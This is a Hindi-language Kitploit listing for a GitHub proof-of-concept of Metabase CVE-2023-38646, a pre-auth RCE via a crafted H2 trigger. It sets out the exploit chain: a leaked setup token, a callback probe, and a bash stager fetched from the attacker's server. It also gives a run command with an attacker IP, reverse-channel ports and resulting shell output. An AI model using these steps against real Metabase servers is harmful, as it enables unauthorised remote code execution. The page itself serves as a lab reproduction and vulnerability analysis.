Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
metabase-cve-2023-38646 — रिपॉजिटरी में PoC और cve 2023-38646 को पुनः उत्पन्न करने के चरण शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/kushiro45/metabase-cve-2023-38646
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगपेलोड डेवलपमेंट
GitHubkushiro45/metabase-cve-2023-38646

metabase-cve-2023-38646

रिपॉजिटरी में PoC और cve 2023-38646 को पुनः उत्पन्न करने के चरण शामिल हैं।

रिपॉजिटरी देखें
142 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-38646 — Metabase प्री-ऑथ रिमोट कोड एक्ज़ीक्यूशन

सारांश

CVSS 9.8. Metabase के 0.46.6.1 / 1.46.6.1 से पहले के संस्करण (और समतुल्य पुरानी ब्रांचें) /api/setup/validate एंडपॉइंट के माध्यम से प्री-ऑथेंटिकेशन RCE उजागर करते हैं, जो प्रारंभिक सेटअप के दौरान डेटाबेस कनेक्शन विवरण सत्यापित करने के लिए है, लेकिन सेटअप पूरा होने के बाद भी बिना प्रमाणीकरण के पहुँचा जा सकता है।

मूल कारण

एंडपॉइंट डेटाबेस कनेक्शन पेलोड स्वीकार करता है और, जब engine: h2 के साथ एक क्राफ्टेड JDBC कनेक्शन स्ट्रिंग निर्दिष्ट की जाती है, तो H2 की CREATE TRIGGER ... AS $$//javascript सिंटैक्स के माध्यम से मनमाना JavaScript एम्बेड करने की अनुमति देता है। ट्रिगर बॉडी सत्यापन समय पर निष्पादित होती है, जिससे हमलावर को JVM के अंदर JavaScript निष्पादन मिलता है — जो java.lang.Runtime.getRuntime().exec() के माध्यम से आसानी से OS कमांड निष्पादन तक बढ़ जाता है।

अंतर्निहित समस्या H2 डेटाबेस इंजन का डेटासोर्स को "सत्यापित" करने के हिस्से के रूप में कनेक्शन-स्ट्रिंग में एम्बेडेड कोड पर भरोसा करना है, और इसके साथ Metabase का इस सत्यापन पथ को प्री-ऑथ उजागर करना है।

वातावरण

  • लक्ष्य: आधिकारिक metabase/metabase:v0.46.6 Docker इमेज
  • हमलावर टूलिंग: Python 3, requests, termcolor
  • PoC स्रोत: Exploit-DB 51797 (Musyoka Ian, CVE-2023-38646)

सेटअप

कमजोर Metabase चलाएँ:

docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker logs -f metabase   # wait for "Metabase Initialization COMPLETE"

एक्सप्लॉइट निर्भरताएँ इंस्टॉल करें:

pip3 install requests termcolor

एक्सप्लॉइट श्रृंखला

  1. सेटअप टोकन प्राप्ति — /api/session/properties एक setup-token लीक करता है जो एकमुश्त प्रारंभिक सेटअप प्रवाह को नियंत्रित करने के लिए है, लेकिन सेटअप पूरा होने के बाद भी मान्य और उपयोग योग्य रहता है।
  2. एक्सप्लॉइटेबिलिटी प्रोब — हमलावर एक स्थानीय HTTP सर्वर चालू करता है; क्राफ्टेड H2 ट्रिगर लक्ष्य को उस पर आउटबाउंड कॉलबैक करने के लिए प्रेरित करता है, जिससे H2 इंजन के अंदर JS निष्पादन की पुष्टि होती है।
  3. कमांड निष्पादन — दूसरा क्राफ्टेड ट्रिगर java.lang.Runtime.getRuntime().exec() का उपयोग करके हमलावर के HTTP सर्वर से bash स्टेजर प्राप्त करता है और कमांड आउटपुट को रॉ TCP लिसनर पर base64-एन्कोडेड रूप में पाइप करता है।

चलाएँ

python3 51797.py -l <attacker_ip> -p 4444 -P 8000 -u http://localhost:3000
  • -l — हमलावर कॉलबैक IP (जब लक्ष्य स्थानीय कंटेनर हो तो Docker ब्रिज गेटवे, जैसे 172.17.0.1)
  • -p — वह पोर्ट जिस पर रिवर्स डेटा चैनल वापस कनेक्ट होता है
  • -P — स्थानीय HTTP सर्वर पोर्ट जो स्टेजर स्क्रिप्ट सर्व करता है
  • -u — लक्ष्य Metabase बेस URL

प्री-ऑथ कॉलबैक एक्सप्लॉइटेबिलिटी की पुष्टि करते ही यह इंटरैक्टिव metabase_shell > प्रॉम्प्ट में पहुँच जाता है।

परिणाम

metabase_shell > whoami metabase metabase_shell > id uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)

metabase सेवा खाते के रूप में कमांड निष्पादन की पुष्टि हुई — प्री-ऑथ, बिना किसी क्रेडेंशियल की आवश्यकता। गंभीरता शून्य प्रमाणीकरण के साथ नेटवर्क-सुलभ RCE से उत्पन्न होती है, न कि परिणामी शेल के विशेषाधिकार स्तर से।

फिक्स

Metabase 0.46.6.1 / 1.46.6.1 और उसके बाद के संस्करणों में पैच किया गया — /api/setup/validate एंडपॉइंट अब वास्तविक रूप से अधूरा सेटअप अनिवार्य करता है, और सेटअप टोकन प्रारंभिक सेटअप समाप्त होते ही अमान्य कर दिए जाते हैं।

अस्वीकरण

केवल पृथक लैब उपयोग के लिए। उन Metabase इंस्टेंस के विरुद्ध न चलाएँ जिनके मालिक आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।

टूल डाउनलोड करें